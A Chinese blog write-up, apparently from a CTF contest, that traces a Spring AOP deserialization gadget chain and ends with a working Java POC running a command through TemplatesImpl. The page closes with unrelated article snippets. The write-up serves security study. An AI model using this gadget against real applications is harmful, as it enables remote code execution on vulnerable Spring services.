当前位置: 首页 > news >正文

SpringAOP新链浅析

前言

在复现CCSSSC软件攻防赛的时候发现需要打SpringAOP链子,于是跟着前人的文章自己动手调试了一下

参考了大佬的文章

https://gsbp0.github.io/post/springaop/#%E6%B5%81%E7%A8%8B
https://mp.weixin.qq.com/s/oQ1mFohc332v8U1yA7RaMQ

正文

依赖于Spring-AOP和aspectjweaver两个包,但是springboot中的spring-boot-starter-aop自带包含这俩类

链子终点分析

AbstractAspectJAdvice类继承了 Serializable 反序列化接口

污点函数是org.springframework.aop.aspectj.AbstractAspectJAdvice的invokeAdviceMethodWithGivenArgs方法

protected Object invokeAdviceMethod(JoinPoint jp, @Nullable JoinPointMatch jpMatch, @Nullable Object returnValue, @Nullable Throwable t) throws Throwable {return this.invokeAdviceMethodWithGivenArgs(this.argBinding(jp, jpMatch, returnValue, t));}protected Object invokeAdviceMethodWithGivenArgs(Object[] args) throws Throwable {Object[] actualArgs = args;if (this.aspectJAdviceMethod.getParameterCount() == 0) {actualArgs = null;}try {ReflectionUtils.makeAccessible(this.aspectJAdviceMethod);return this.aspectJAdviceMethod.invoke(this.aspectInstanceFactory.getAspectInstance(), actualArgs);} catch (IllegalArgumentException var4) {IllegalArgumentException ex = var4;throw new AopInvocationException("Mismatch on arguments to advice method [" + this.aspectJAdviceMethod + "]; pointcut expression [" + this.pointcut.getPointcutExpression() + "]", ex);} catch (InvocationTargetException var5) {InvocationTargetException ex = var5;throw ex.getTargetException();}}

看到这里,这里不就是在反射调用了吗?

类似于

runtimeMethod.invoke(runtimeClass.getDeclaredConstructor().newInstance(),"calc");

往下寻找,看看它的子类

它的子类都会去调用invokeAdviceMethod方法

同时发现他的子类AspectJAroundAdvice、AspectJAfterThrowingAdvice、AspectJAroundAdvice

会利用invoke方法去调用invokeAdviceMethod方法

链子中间关键部分分析

在ReflectiveMethodInvocation类中发现

有个proceed方法,调用了invoke的方法

那么目前的链子就是

org.springframework.aop.framework.ReflectiveMethodInvocation#proceed->
org.springframework.aop.aspectj.AspectJAroundAdvice#invoke->
org.springframework.aop.aspectj.AbstractAspectJAdvice#invokeAdviceMethod->
org.springframework.aop.aspectj.AbstractAspectJAdvice#invokeAdviceMethodWithGivenArgs

proceed方法分析

第一个点是interceptorOrInterceptionAdvice的获取,是从interceptorsAndDynamicMethodMatchers中拿到的,该属性本身定义就是一个List,可以序列化,

而索引currentInterceptorIndex本身也只是int类型。

因此可以认为interceptorOrInterceptionAdvice是可控的。

第二个点是interceptorOrInterceptionAdvice的类型,按照上面的调用链,这个对象的类型应该是org.springframework.aop.aspectj.AspectJAroundAdvice(AbstractAspectJAdvice的子类),才能去触发污点函数。

那么在if条件判断的时候

instanceof是Java中的二元运算符,左边是对象,右边是类;当对象是右边类或子类所创建对象时,返回true;否则,返回false。

但是右边是InterceptorAndDynamicMethodMatcher直接返回false

那么proceed代码是走下面的分支,触发invoke

不禁感叹,这个点真的是太妙了。

反序列化接口的寻找

ReflectiveMethodInvocation本身并没有实现Serializable接口,想要在反序列化过程中使用,只能依赖于动态创建。

静态代码搜索一波,看看有没有那些地方new了ReflectiveMethodInvocation类的

这里idea没搜出来,jd-gui倒是给找出来了

发现

org.springframework.aop.framework.JdkDynamicAopProxy#invoke,

并且在创建后就调用proceed方法

这里的chain就是控制传入ReflectiveMethodInvocation的interceptorsAndDynamicMethodMatchers对象

即我们需要传入AspectJAroundAdvice

JdkDynamicAopProxy

如何去控制chain变量为我们想要的类呢?

看到chain的属性

List<Object> chain = this.advised.getInterceptorsAndDynamicInterceptionAdvice(method, targetClass);

再看getInterceptorsAndDynamicInterceptionAdvice(method, targetClass)方法

public List<Object> getInterceptorsAndDynamicInterceptionAdvice(Method method, @Nullable Class<?> targetClass) {MethodCacheKey cacheKey = new MethodCacheKey(method);List<Object> cached = (List)this.methodCache.get(cacheKey);if (cached == null) {cached = this.advisorChainFactory.getInterceptorsAndDynamicInterceptionAdvice(this, method, targetClass);this.methodCache.put(cacheKey, cached);}return cached;}

那么这个返回值要么就是从methodCache来

要么就是从getInterceptorsAndDynamicInterceptionAdvice(下面简称GIADIA方法)

1、methodCache
private transient Map<MethodCacheKey, List<Object>> methodCache;

看到这个属性加了transient修饰符

同时

在反序列化的时候就已经新建了,那么我们就认为这条路大概率行不通的

2、GIADIA方法
List<Object> getInterceptorsAndDynamicInterceptionAdvice(Advised config, Method method, @Nullable Class<?> targetClass);

在这个方法中,三个参数都是可控的,Advised config实际上就是AdvisedSupport实例。

这个方法最终返回的就是interceptorList对象,核心是分析这个对象如何添加元素,然后往上找这个元素是怎么生成的。

经过分析,无论走哪个分支,这个元素最终都是通过registry.getInterceptors(advisor)获取的,

而registry则是直接通过静态GlobalAdvisorAdapterRegistry.getInstance()方法获取的静态单例类

最后审计,查找看到这个类

org.springframework.aop.framework.adapter.DefaultAdvisorAdapterRegistry#getInterceptors

public MethodInterceptor[] getInterceptors(Advisor advisor) throws UnknownAdviceTypeException {List<MethodInterceptor> interceptors = new ArrayList<>(3);Advice advice = advisor.getAdvice();if (advice instanceof MethodInterceptor) {interceptors.add((MethodInterceptor) advice);}for (AdvisorAdapter adapter : this.adapters) {if (adapter.supportsAdvice(advice)) {interceptors.add(adapter.getInterceptor(advisor));}}if (interceptors.isEmpty()) {throw new UnknownAdviceTypeException(advisor.getAdvice());}return interceptors.toArray(new MethodInterceptor[0]);}

很显然,这个类满足了实现MethodInterceptor接口的需求,但并没有实现Advice

通过JdkDynamicAopProxy来同时代理Advice和MethodInterceptor接口,并设置反射调用对象是AspectJAroundAdvice,如果后续仅被调用MethodInterceptor接口的方法,就可以直接混水摸鱼,如果还会调用Advice接口的方法,则可以再尝试使用CompositeInvocationHandlerImpl

链子整体

POC代码在

https://github.com/Ape1ron/SpringAopInDeserializationDemo1

主要是感觉项目看着写的有点繁杂,想着简化和修改一下

我们来分析一下怎么写的

1、getAspectJAroundAdvice方法

项目先是调用了getAspectJAroundAdvice方法

主要是先生成执行calc命令的字节码

因为最后的终点是走到这里

this.aspectJAdviceMethod.invoke(this.aspectInstanceFactory.getAspectInstance(), actualArgs);

从aspectInstanceFactory中获取到一个方法类的实例

刚好SingletonAspectInstanceFactory就有一个

然后反射修改属性

因为要触发invoke,所以就用了AspectJAroundAdvice类

也就是对应的

AspectJAroundAdvice aspectJAroundAdvice = Reflections.newInstanceWithoutConstructor(AspectJAroundAdvice.class);Reflections.setFieldValue(aspectJAroundAdvice,"aspectInstanceFactory",singletonAspectInstanceFactory);

这两行代码

然后下面的反射修改

Reflections.setFieldValue(aspectJAroundAdvice,"declaringClass", TemplatesImpl.class);
Reflections.setFieldValue(aspectJAroundAdvice,"methodName", "newTransformer");
Reflections.setFieldValue(aspectJAroundAdvice,"parameterTypes", new Class[0]);

其实就是为了恶意字节码的反序列化

AspectJExpressionPointcut aspectJExpressionPointcut = new AspectJExpressionPointcut();    Reflections.setFieldValue(aspectJAroundAdvice,"pointcut",aspectJExpressionPointcut);

是因为AbstractAspectJAdvice的pointcut属性默认要为AspectJExpressionPointcut对象

Reflections.setFieldValue(aspectJAroundAdvice,"joinPointArgumentIndex",-1);
Reflections.setFieldValue(aspectJAroundAdvice,"joinPointStaticPartArgumentIndex",-1);

这里反射修改成-1是因为AbstractAspectJAdvice的需要,不然很多if走不进去

2、getObject方法

这里的意思其实就是分析的时候讲的,套了两层动态代理

然后最后面找一个readobject能触发tostring方法的来触发动态代理

后续

优化链子,分析了整条链子,以及师傅写的项目,想着能否去缩减一下代码量呢?

String cmd="calc";
Object templatesImpl = TemplatesImplNode.makeGadget(cmd);
/*获取newTransformer方法*/
Method method = templatesImpl.getClass().getMethod("newTransformer");
SingletonAspectInstanceFactory singletonAspectInstanceFactory = new SingletonAspectInstanceFactory(templatesImpl);
AspectJAroundAdvice aspectJAroundAdvice = new AspectJAroundAdvice(method,new AspectJExpressionPointcut(),singletonAspectInstanceFactory);

这里发现其实不用反射的话,就会更加方便,new的时候会自动帮我们赋值-1

然后我们传入三个参数即可

如果试着变成这样呢?

AspectJAroundAdvice aspectJAroundAdvice = getAspectJAroundAdvice(cmd);
Object o1 =getFirstProxy(aspectJAroundAdvice);
Object o2 =getFinallProxy(o1);
Object badAttrValExe = BadAttrValExeNode.makeGadget(o2);
public static Object getFirstProxy(Object obj) throws Exception{AdvisedSupport as = new AdvisedSupport();as.setTargetSource(new SingletonTargetSource(obj));InvocationHandler jdkDynamicAopProxy1 = (InvocationHandler) Reflections.newInstance("org.springframework.aop.framework.JdkDynamicAopProxy",AdvisedSupport.class,as);Object proxy1 = Proxy.makeGadget(jdkDynamicAopProxy1, Advisor.class, MethodInterceptor.class);return proxy1;}public static Object getFinallProxy(Object obj) throws Exception{Advisor advisor = new DefaultIntroductionAdvisor((Advice) obj);List<Advisor> advisors = new ArrayList<>();advisors.add(advisor);AdvisedSupport advisedSupport = new AdvisedSupport();Reflections.setFieldValue(advisedSupport,"advisors",advisors);DefaultAdvisorChainFactory advisorChainFactory = new DefaultAdvisorChainFactory();Reflections.setFieldValue(advisedSupport,"advisorChainFactory",advisorChainFactory);advisedSupport.setTargetSource(new SingletonTargetSource("ape1ron"));InvocationHandler jdkDynamicAopProxy2 = (InvocationHandler) Reflections.newInstance("org.springframework.aop.framework.JdkDynamicAopProxy",AdvisedSupport.class,advisedSupport);Object proxy2 = Proxy.makeGadget(jdkDynamicAopProxy2, Map.class);return proxy2;}

会发现红色标记的地方很像

最后改成的POC

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.aopalliance.aop.Advice;
import org.aopalliance.intercept.MethodInterceptor;
import org.springframework.aop.Advisor;
import org.springframework.aop.aspectj.AspectJAroundAdvice;
import org.springframework.aop.aspectj.AspectJExpressionPointcut;
import org.springframework.aop.aspectj.SingletonAspectInstanceFactory;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.aop.framework.DefaultAdvisorChainFactory;
import org.springframework.aop.support.DefaultIntroductionAdvisor;
import org.springframework.aop.target.SingletonTargetSource;import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.List;
import java.util.Map;
public class SpringAOP1 {public static void main(String[] args) throws Throwable {SpringAOP1 aop1 = new SpringAOP1();Object object = aop1.getObject("calc");Util.runGadgets(object);}public Object getObject (String cmd) throws Throwable {Object templatesImpl = TemplatesImplNode.makeGadget(cmd);Method method = templatesImpl.getClass().getMethod("newTransformer");SingletonAspectInstanceFactory singletonAspectInstanceFactory = new SingletonAspectInstanceFactory(templatesImpl);AspectJAroundAdvice aspectJAroundAdvice = new AspectJAroundAdvice(method,new AspectJExpressionPointcut(),singletonAspectInstanceFactory);Object o2 =getFinallProxy(aspectJAroundAdvice);Object badAttrValExe = BadAttrValExeNode.makeGadget(o2);return badAttrValExe;}public static Object getFirstProxy(Object obj,Class[] clazzs) throws Exception{AdvisedSupport as = new AdvisedSupport();as.setTargetSource(new SingletonTargetSource(obj));InvocationHandler jdkDynamicAopProxy1 = (InvocationHandler) Reflections.newInstance("org.springframework.aop.framework.JdkDynamicAopProxy",AdvisedSupport.class,as);Object proxy1 = Proxy.newProxyInstance(Proxy.class.getClassLoader(), clazzs, jdkDynamicAopProxy1);return proxy1;}public static Object getFinallProxy(Object obj) throws Exception{Advisor advisor = new DefaultIntroductionAdvisor((Advice) getFirstProxy(obj,new Class[]{MethodInterceptor.class, Advice.class}));List<Advisor> advisors = new ArrayList<>();advisors.add(advisor);AdvisedSupport advisedSupport = new AdvisedSupport();Reflections.setFieldValue(advisedSupport,"advisors",advisors);DefaultAdvisorChainFactory advisorChainFactory = new DefaultAdvisorChainFactory();Reflections.setFieldValue(advisedSupport,"advisorChainFactory",advisorChainFactory);advisedSupport.setTargetSource(new SingletonTargetSource("ape1ron"));InvocationHandler jdkDynamicAopProxy2 = (InvocationHandler) Reflections.newInstance("org.springframework.aop.framework.JdkDynamicAopProxy",AdvisedSupport.class,advisedSupport);Object proxy2 = Proxy.newProxyInstance(Proxy.class.getClassLoader(), new Class[]{Map.class}, jdkDynamicAopProxy2);return proxy2;}
}

这里说明一下makeGadget其实就是那些固定的写法就省略了,还有一些Reflections反射改值的方法

总结

该SpringAOP新链危害还是很大的,因为其依赖少的原因,而且本身就具备该依赖。

相关文章:

SpringAOP新链浅析

前言 在复现CCSSSC软件攻防赛的时候发现需要打SpringAOP链子&#xff0c;于是跟着前人的文章自己动手调试了一下 参考了大佬的文章 https://gsbp0.github.io/post/springaop/#%E6%B5%81%E7%A8%8B https://mp.weixin.qq.com/s/oQ1mFohc332v8U1yA7RaMQ 正文 依赖于Spring-AO…...

高效网页截图利器:支持长截图、异步加载内容截图、API调用、Docker一键部署!

一、简介 利用playwright自动化工具&#xff0c;模拟浏览器打开网页&#xff0c;实现完整网页截图功能支持长截图&#xff0c;支持异步加载动态渲染内容截图支持docker一键部署支持API调用项目地址&#xff1a;https://github.com/luler/hello_screenshot 二、安装 提前安装好d…...

处理语言模型返回的响应

completion.choices[0].message.content 是在处理语言模型&#xff08;如 OpenAI 的 GPT 系列&#xff09;返回的响应时&#xff0c;用于 访问模型生成的文本内容的代码路径。为了更好地理解它&#xff0c;我们需要先了解语言模型响应的结构。 1. 响应的结构 当使用语言模型&…...

Go语言类型捕获及内存大小判断

代码如下&#xff1a; 类型捕获可使用&#xff1a;reflect.TypeOf()&#xff0c;fmt.Printf在的%T。 内存大小判断&#xff1a;len()&#xff0c;unsafe.Sizeof。 package mainimport ("fmt""unsafe""reflect" )func main(){var i , j 1, 2f…...

Java 大视界 -- Java 大数据机器学习模型在智能客服多轮对话系统中的优化策略(179)

&#x1f496;亲爱的朋友们&#xff0c;热烈欢迎来到 青云交的博客&#xff01;能与诸位在此相逢&#xff0c;我倍感荣幸。在这飞速更迭的时代&#xff0c;我们都渴望一方心灵净土&#xff0c;而 我的博客 正是这样温暖的所在。这里为你呈上趣味与实用兼具的知识&#xff0c;也…...

CAS号:288574-78-7,Zinpyr-1可用作PET传感器

试剂描述&#xff1a; Zinpyr-1&#xff08;ZP-1&#xff09;是一种具细胞膜渗透性的荧光探针&#xff0c;选择性检测锌离子&#xff08;Zn2&#xff09;&#xff08;Kd 0.7 0.1 nM&#xff09;。一旦与金属离子复合&#xff0c;诱发荧光信号产生。活细胞内&#xff0c;Zinpyr…...

【JVM调优实战指南:从案例分析到性能优化】

一、JVM 调优核心原则 JVM 调优旨在平衡系统的吞吐量、延迟和内存使用。在进行 JVM 调优时&#xff0c;我们可以遵循以下原则&#xff1a; 先优化代码&#xff1a;优先排查业务逻辑中的内存泄漏、对象滥用等问题。优化代码不仅能从根本上解决性能问题&#xff0c;还能减少对 J…...

交换机转发原理 和 DNS服务

1. 收到报文后&#xff0c;将其转换为二进制&#xff0c;并记录在缓存当中 2. 根据二进制中的源 MAC 地址&#xff0c;与接收报文的接口&#xff0c;记录对应关系&#xff0c;在 MAC 地址表中&#xff0c;每个动态表项 300S 老化时间。 3. 判断 如果目的 MAC 是组播或广…...

强化学习Q-Learning:DQN

强化学习Q-Learning/DQN 本文是一篇学习笔记&#xff0c;主要参考李宏毅老师的强化学习课程。 目前主流的强化学习方法大致可以分为 policy-based 和 value-based 两大类。之前我们介绍的 policy gradient 策略梯度&#xff0c;就是 policy-based 的方法。本文要介绍的 Q-learn…...

OpenCv(七)——模板匹配、打包、图像的旋转

目录 一、模板匹配 模板匹配原理 1、单模板之间的匹配 &#xff08;1&#xff09;读取并显示待匹配的图片和模板图片 &#xff08;2&#xff09;模板匹配并绘制匹配位置的外接矩形 &#xff08;3&#xff09;显示最终的效果 2、模板与多个对象匹配&#xff0c;仅匹配当前…...

汽车售后诊断 ODX 和 OTX 对比分析报告

一、引言 在汽车行业不断发展的当下&#xff0c;汽车售后诊断技术对于保障车辆性能、维护车主权益以及提升汽车品牌服务质量起着至关重要的作用。随着汽车电子化程度的不断提高&#xff0c;售后诊断所涉及的数据和流程愈发复杂&#xff0c;这就促使行业需要更加标准化、高效化…...

关于图卷积

深入理解神经网络中的图卷积 一、为什么需要图卷积&#xff08;动机&#xff09; 在图结构中&#xff0c;比如&#xff1a; 社交网络&#xff08;节点是人&#xff0c;边是朋友关系&#xff09;分子结构&#xff08;节点是原子&#xff0c;边是化学键&#xff09;知识图谱&a…...

Meta LLaMA 4:对抗 GPT-4o 与 Claude 的开源王牌

2025 年 4 月&#xff0c;Meta 正式发布了 LLaMA 4 系列的首批两款模型。 这两款模型模型分别是&#xff1a;LLaMA 4 Scout 与 LLaMA 4 Maverick&#xff0c;均采用了 专家混合架构&#xff08;Mixture-of-Experts, MoE&#xff09;。 据 Meta 表示&#xff0c;这是首次有 …...

如何进行SQL调优

如何进行SQL调优 SQL 调优是优化数据库查询性能的过程&#xff0c;目的是减少查询的执行时间&#xff0c;提高数据库系统的整体效率。SQL 调优的技巧和方法可以针对不同的数据库管理系统&#xff08;DBMS&#xff09;有所不同&#xff0c;但基本的原则和步骤是相似的。以下是一…...

WAF防护规则配置技巧与企业级安全实践指南

面对日益复杂的Web应用攻击&#xff0c;WAF规则配置直接决定防护体系的有效性。本文深度解析规则优先级编排、误报消减策略、智能学习机制等17项关键技术&#xff0c;结合金融行业API攻击案例与Gartner最新防御框架&#xff0c;为企业提供可落地的WAF优化路径。 WAF规则引擎的…...

第16届蓝桥杯单片机模拟试题Ⅱ

试题 代码 sys.h #ifndef __SYS_H__ #define __SYS_H__#include <STC15F2K60S2.H> //ds1302.c extern unsigned char time[3]; void w_ds1302(); void r_ds1302(); //iic.c float v_adc(unsigned char addr); //sys.c extern float light_v; extern float rb2_v; exte…...

机器学习——ROC曲线、PR曲线

一、ROC曲线简介 1.1 ROC曲线的构成 1.横轴&#xff08;假正率&#xff0c;FPR&#xff09;&#xff1a; 表示负样本被错误分类为正的比例&#xff08;越小越好&#xff09; 2.纵轴&#xff08;真正率&#xff0c;TPR&#xff0c;即召回率&#xff09;&#xff1a; 表示正样…...

Flutter之交互事件

目录&#xff1a; 1、点击事件标准案例1.1、效果图2.1、代码实现 1、点击事件标准案例 1.1、效果图 2.1、代码实现 class FavoriteWidget extends StatefulWidget {const FavoriteWidget({super.key});overrideState<FavoriteWidget> createState() > _FavoriteWidge…...

深入解析Spring Boot自动装配:原理、设计与最佳实践

引言 Spring Boot作为现代Java开发中的一股清流&#xff0c;凭借其简洁、快速和高效的特性&#xff0c;迅速赢得了广大开发者的青睐。而在Spring Boot的众多特性中&#xff0c;自动装载&#xff08;Auto-configuration&#xff09;无疑是最为耀眼的明珠之一。本文将深入剖析Sp…...

【责任链】模式解决流程中多个接口的流程问题

业务需求 整体流程有5步骤&#xff0c;每个步骤调用一个接口&#xff0c;每个接口成功才能进行下一步。如a->b->c->d->e&#xff0c; 比如入学报到 a&#xff1a;报班&#xff0c;根据名字生成学号uid b&#xff1a;根据学号分配班级获取班级编号cid c&#xff1a…...

excel常见错误包括(#N/A、#VALUE!、#REF!、#DIV/0!、#NUM!、#NAME?、#NULL! )

目录 1. #N/A2. #VALUE!3. #REF!4. #DIV/0!5. #NUM!6. #NAME?7. #NULL!8.图表总结 在 Excel 中&#xff0c;可能会遇到以下常见的错误值&#xff0c;每个都有特定的含义和成因&#xff1a; 1. #N/A 含义&#xff1a; 表示“Not Available”&#xff08;不可用&#xff09;。…...

【湖南大学】2025我们该如何看待DeepSeek

大家好&#xff0c;我是樱木。 DeepSeek 官方网站&#xff1a;https://www.deepseek.com/ 一、DeepSeek 到底是什么&#xff1f; TA 到底厉害在哪里&#xff1f; 故事从 ChatGPT 说起 去年我们看到 Open AI 发布ChatGPT 后&#xff0c;全球的注意力到了 AI 身上。 我们来拆…...

RAG中构建个人知识库

1. 添加本地模型 1.1 查看本地模型 ollama list1.2 ragflow添加本地模型 1.3 系统模型配置 2. 构建知识库 2.1 准备知识库素材 2.2 配置知识库 2.3 知识库绑定素材文件 上传文件素材 - 解析文件 3. 构建交互系统 3.1 配置助理 3.2 完善提示词 3.3 设置模型参数 4. 体验效…...

在 Kubernetes (k8s) 中,apiserver 的 IIP和 VIP的区别

在 Kubernetes (k8s) 中&#xff0c;apiserver 的 IIP&#xff08;Internal IP&#xff09; 和 VIP&#xff08;Virtual IP&#xff09; 是与集群网络通信和高可用性设计相关的两个重要概念。 IIP&#xff08;Internal IP&#xff09; 定义&#xff1a; IIP 是 apiserver 所在…...

OpenCV--图像形态学

在图像处理领域&#xff0c;图像形态学是一种基于形状进行图像分析的有力工具&#xff0c;广泛应用于图像分割、特征提取、边缘检测、图像降噪等多个方面。借助 OpenCV 这个强大的计算机视觉库&#xff0c;我们可以轻松实现各种图像形态学操作。本文将深入探讨图像形态学的基本…...

智慧医疗数据集

WiNGPT2 更新时间&#xff1a;2024-11-29 访问地址: GitHub 描述&#xff1a; WiNGPT是一个基于GPT的医疗垂直领域大模型&#xff0c;旨在将专业的医学知识、医疗信息、数据融会贯通&#xff0c;为医疗行业提供智能化的医疗问答、诊断支持和医学知识等信息服务&#xff0c;…...

3D激光轮廓仪知识整理(待补充)

文章目录 1.原理和应用场景1.1 相机原理1.1.1 测量原理1.1.2 相机激光器1.1.3 沙姆镜头1.1.4 相机标定1.1.5 中心线提取 1.2 应用场景1.2.1 测量相关应用1.2.2 缺陷检测相关易用 2.相机参数介绍及选型介绍2.1 成像原理2.2 原始图成像2.3 生成轮廓图2.4 相机规格参数2.4.1 单轮廓…...

算法思想之双指针

文章目录 双指针字符串序列判定字符串所有整数最小和服务交换接口失败率分析分披萨最多团队 双指针 双指针是指在解决问题时使用两个指针&#xff0c;通常分别指向数组或字符串中的不同位置&#xff0c;通过移动这两个指针来解决问题的一种技巧。双指针技巧常用于解决数组、链…...

Windows环境下PyCharm 配置miniforge

问题描述. 目前Anconda python 环境管理软件&#xff0c;已非常臃肿。为了替代该软件&#xff0c;可以使用miniforge软件来代替。 1. 安装windows miniforge软件 (1) 下载网站&#xff1a;https://github.com/conda-forge/miniforge?tabreadme-ov-file 从网址下载&#xff…...

C语言基础18

内容提要 构造类型 结构体 共用体/联合体 枚举 typedef 构造类型 数据类型 基本类型/基础类型 整型 短整型&#xff1a;short [int] -- 2字节 基本整型&#xff1a;int -- 4字节 长整型&#xff1a;long [int] -- 32位4字节/64位8字节 长长整型&#xff1a;long long…...

Docker部署Jenkins服务

文章目录 1.下载Jenkins服务2.部署Java21&#xff08;可选&#xff09;2.1 安装Java21 3.Maven3.9.9安装4.启动Jenkins5.初始化Jenkins5.1 入门5.2 安装推荐的插件5.3 创建第一个管理员用户5.4 实例配置5.5 Jenkins已就绪5.6 开始使用Jenkins5.7 重启Jenkins 6.配置Jenkins6.1 …...

【题解-Acwing】798. 差分矩阵

题目&#xff1a;798. 差分矩阵 题目描述 输入一个n行m列的整数矩阵&#xff0c;再输入q个操作&#xff0c;每个操作包含五个整数 x1,y1,x2,y2,c&#xff0c;其中 (x1,y1)和 (x2,y2)表示一个子矩阵的左上角坐标和右下角坐标。 每个操作都要将选中的子矩阵中的每个元素的值加…...

linux环境下的硬盘分区格式化工具介绍 fdisk,gdisk,parted,cfdisk,cgdisk,sfdisk,gparted 笔记250407

linux环境下的硬盘分区格式化工具介绍 fdisk,gdisk,parted,cfdisk,cgdisk,sfdisk,gparted 笔记250407 以下是 Linux 系统中常用的 硬盘分区与格式化工具&#xff0c;涵盖命令行和图形界面工具&#xff0c;按功能分类整理&#xff1a; 一、分区管理工具 1. 命令行工具 工具功能…...

Ubuntu 24.04 LTS系统安装RTX 4090显卡驱动和cuda并部署ollama下载DeepSeek模型【自用详细版】

自己捣鼓玩玩哈&#xff0c;正好有机子 1. 安装驱动前的系统配置工作 卸载原有驱动并禁用nouveau sudo apt remove --purge nvidia*sudo cp /etc/modprobe.d/blacklist.conf /etc/modprobe.d/blacklist.conf.backup //备份文件sudo vim /etc/modprobe.d/blacklist.conf //修…...

FogFL: Fog-Assisted Federated Learning for Resource-Constrained IoT Devices

摘要 提示&#xff1a;这里可以添加系列文章的所有文章的目录&#xff0c;目录需要自己手动添加 -在本文中&#xff0c;我们提出了一个支持雾的联邦学习框架–FogFL–来促进资源受限的物联网环境中延迟敏感应用的分布式学习。联邦学习&#xff08;FL&#xff09;是一种流行的分…...

音视频入门基础:RTCP专题(2)——RTCP协议简介(上)

一、引言 本文对RTCP协议进行简介。在简介之前&#xff0c;请各位先下载RTCP的官方文档《RFC 3550》。《RFC 3550》总共有89页。本文下面所说的“页数”是指在pdf阅读器中显示的页数&#xff1a; 二、RTCP协议简介 本段内容对应《RFC 3550》的第6节。根据《RFC 3550》第17页&…...

oklink js逆向(入口定位)

分析api请求&#xff0c;定位参数 X-Apikey 搜索关键字apikey&#xff0c;发现结果太多 结合搜索结果&#xff0c;搜索关键字 apikey(&#xff0c;只找到5个 断点后定位 可见使用了字符串混淆&#xff0c;所以搜索不到 x-apikey 还可以通过搜索 headers&#xff0c;追踪调用栈的…...

go原子操作和锁的区别是什么?

在Go语言中&#xff0c;原子操作和锁都是用于实现并发编程的同步机制&#xff0c;但它们的工作方式和适用场景有所不同。下面是它们的主要区别&#xff1a; 1. 原子操作&#xff08;Atomic Operations&#xff09; 定义&#xff1a;原子操作是一种不可分割的操作&#xff0c;…...

QtConcurrent

以下是 QtConcurrent 的一些常见用法示例&#xff1a; QtConcurrent::run QtConcurrent::run 是最常用的函数&#xff0c;用于在单独的线程中运行一个函数。 运行普通函数 #include <QtConcurrent> #include <QDebug> #include <QThread>void myFunction…...

Git 仓库在内网与 Gitee 间迁移及同步记录

Git 仓库在内网与 Gitee 间迁移及同步记录 在软件开发过程中&#xff0c;常常会遇到需要将代码仓库进行迁移或同步的情况。近期我就碰到了要把 Gitee 代码仓库移植到内网代码仓库&#xff0c;并且后续还得进行同步的需求。这里把整个过程记录下来&#xff0c;方便以后自己参考…...

如何保证mysql和redis的数据一致性

保证 MySQL 和 Redis 的数据一致性是分布式系统中常见的挑战&#xff0c;因为 Redis 作为缓存层&#xff0c;可能存在与底层数据库数据不一致的情况。以下是几种常用的方案及其优缺点对比&#xff1a; 1. 缓存更新策略 (1) Cache-Aside Pattern&#xff08;旁路缓存模式&#…...

Java学习——day23(反射的对象创建与方法调用)

文章目录 1. 使用反射实例化对象1.1 利用无参构造函数创建对象1.2利用带参构造函数创建对象 2.通过反射调用对象方法2.1 调用公共方法2.2 调用私有方法&#xff08;需设置访问权限&#xff09;3. 访问和修改对象的属性3.1 公共属性3.2 私有属性 4. 实践任务4.1工厂类 SimpleFac…...

遇到无法连接香港服务器可能是什么原因导致的呢

遇到无法连接香港服务器的情况时&#xff0c;别急着重启或联系客服&#xff0c;先搞清楚到底是哪里断了链条。问题可能出在服务器本身&#xff0c;也可能是你的本地网络、路由路径、DNS、甚至运营商的“干预”。以下是常见的几个可能原因&#xff0c;建议你可以逐一排查&#x…...

Python----计算机视觉处理(Opencv:道路检测完整版:透视变换,提取车道线,车道线拟合,车道线显示,)

Python----计算机视觉处理&#xff08;Opencv:道路检测之道路透视变换) Python----计算机视觉处理&#xff08;Opencv:道路检测之提取车道线&#xff09; Python----计算机视觉处理&#xff08;Opencv:道路检测之车道线拟合&#xff09; Python----计算机视觉处理&#xff0…...

javaweb自用笔记:Maven分模块设计与开发、Maven继承与聚合、Maven私服

Maven分模块设计与开发 Maven继承与聚合 继承 版本锁定 dependencies引入依赖&#xff0c;dependencyManagement不代表依赖被引入&#xff0c;如果要使用dependencyManagement下的依赖&#xff0c;还需要在dependencies里面定义 聚合 如果没有用聚合&#xff0c;将这个项目打…...

在PyCharm中出现 **全角字符与非英文符号混合输入** 的问题

在PyCharm中出现 全角字符与非英文符号混合输入 的问题&#xff08;如 &#xff11;&#xff12;&#xff14;&#xff13;&#xff14;&#xff15;&#xff44;&#xff46;&#xff53;&#xff04;&#xffe5;&#xff43;&#xff56;&#xff44;&#xff09;&#xff0…...

数字身份DID协议:如何用Solidity编写去中心化身份合约

本文提出基于以太坊的自主主权身份&#xff08;SSI&#xff09;实现方案&#xff0c;通过扩展ERC-734/ERC-735标准构建链上身份核心合约&#xff0c;支持可验证声明、多密钥轮换、属性隐私保护等特性。设计的三层架构体系将身份控制逻辑与数据存储分离&#xff0c;在测试网环境…...

Linux的RPM包管理详解

Linux的RPM包管理详解 引言 RPM&#xff08;Red Hat Package Manager&#xff09;是Linux系统中一种重要的软件包管理工具&#xff0c;它以“.rpm”为扩展名&#xff0c;广泛应用于基于Red Hat的Linux发行版&#xff0c;如CentOS、Fedora、openSUSE等。RPM包不仅简化了软件包…...

其它理论原则

ABC理论 假设&#xff08;Assumption&#xff09;影响行为&#xff08;Behavior&#xff09;&#xff0c;行为最终影响结果&#xff08;Consequence&#xff09;。 如果产品经理认为同事是一个不讲道理的人&#xff0c;那么产品经理在和他交流时就会产生抵触的行为&#xff0c…...

C++中的类和对象(上)

1 类的定义 1.1 类定义的格式 1 class为定义类的关键字&#xff0c;Stack为类的名字&#xff0c;{}中为类的主体&#xff0c;注意类定义结束时后面分号不能省 略》。类体中内容称为类的成员&#xff1a;类中的变量称为类的属性或成员变量; 类中的函数称为类的方法或者成员函数…...